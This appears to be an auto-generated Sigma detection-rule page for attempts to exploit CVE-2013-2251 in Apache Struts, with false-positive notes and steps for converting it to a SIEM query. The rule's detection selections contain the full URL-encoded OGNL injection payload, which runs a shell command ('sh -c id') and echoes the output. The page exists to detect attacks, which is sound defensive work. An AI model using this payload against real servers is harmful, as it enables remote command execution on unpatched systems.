← Sigma detections
Sigma · CVE exploitation
CVE-2013-2251 exploitation attempt
- severity
- high
- confidence
- 90/100
- generated
- 14 Nov 2026
- Linked CVE
- CVE-2013-2251
Web request carrying the exploit observable of CVE-2013-2251 (CISA KEV, EPSS 1.00), taken from the public nuclei template.
False-positive notes
Generated because: CISA KEV, EPSS 1.00. Keys on the distinctive part of the exploit request only (path traversal behind a product-specific path, exploit syntax in the query, an unusual parameter); a match on a common path plus a generic token such as ../ or a quote is rejected, never emitted. Needs raw request-URI logging (some web servers normalise ../ away). Scanners hitting the internet produce true-positive ATTEMPTS: correlate with sc-status / response size before declaring compromise.
References
title: Skopnix - CVE-2013-2251 exploitation attemptid: c8044a16-fdfa-55ee-9421-dedda0855e88status: experimentaldescription: Web request carrying the exploit observable of CVE-2013-2251 (CISA KEV, EPSS 1.00), taken from the public nuclei template.references: - https://skopnix.com/cve/CVE-2013-2251 - https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2013/CVE-2013-2251.yaml - https://nvd.nist.gov/vuln/detail/CVE-2013-2251author: skopnixdate: '2026-11-14'tags: - attack.initial-access - attack.t1190 - cve.2013-2251logsource: category: webserverdetection: selection_1: cs-uri-stem|contains: /login.action cs-uri-query|contains: ${ selection_2: cs-uri-stem|contains: /index.action cs-uri-query|contains: redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D selection_3: cs-uri-stem|contains: /index.action cs-uri-query|contains: action%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D selection_4: cs-uri-stem|contains: /index.action cs-uri-query|contains: redirectAction%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D condition: 1 of selection_*falsepositives: - Vulnerability scanners and authorised penetration tests (attempts, not compromise)level: highskopnix-sigma-cve-cve-2013-2251-5446d9b1.yml
How to deploy on Sigma
- Step 1
- Convert for your SIEM with sigma-cli / pySigma, e.g. sigma convert -t splunk -p sysmon rule.yml.
- Step 2
- Run it as a hunt first: every rule ships as status experimental.
- Step 3
- Promote to an alert once a week of results is clean on your data.
- Check
- The processing pipeline must map the logsource (firewall, dns, proxy, webserver, process_creation) to your field names.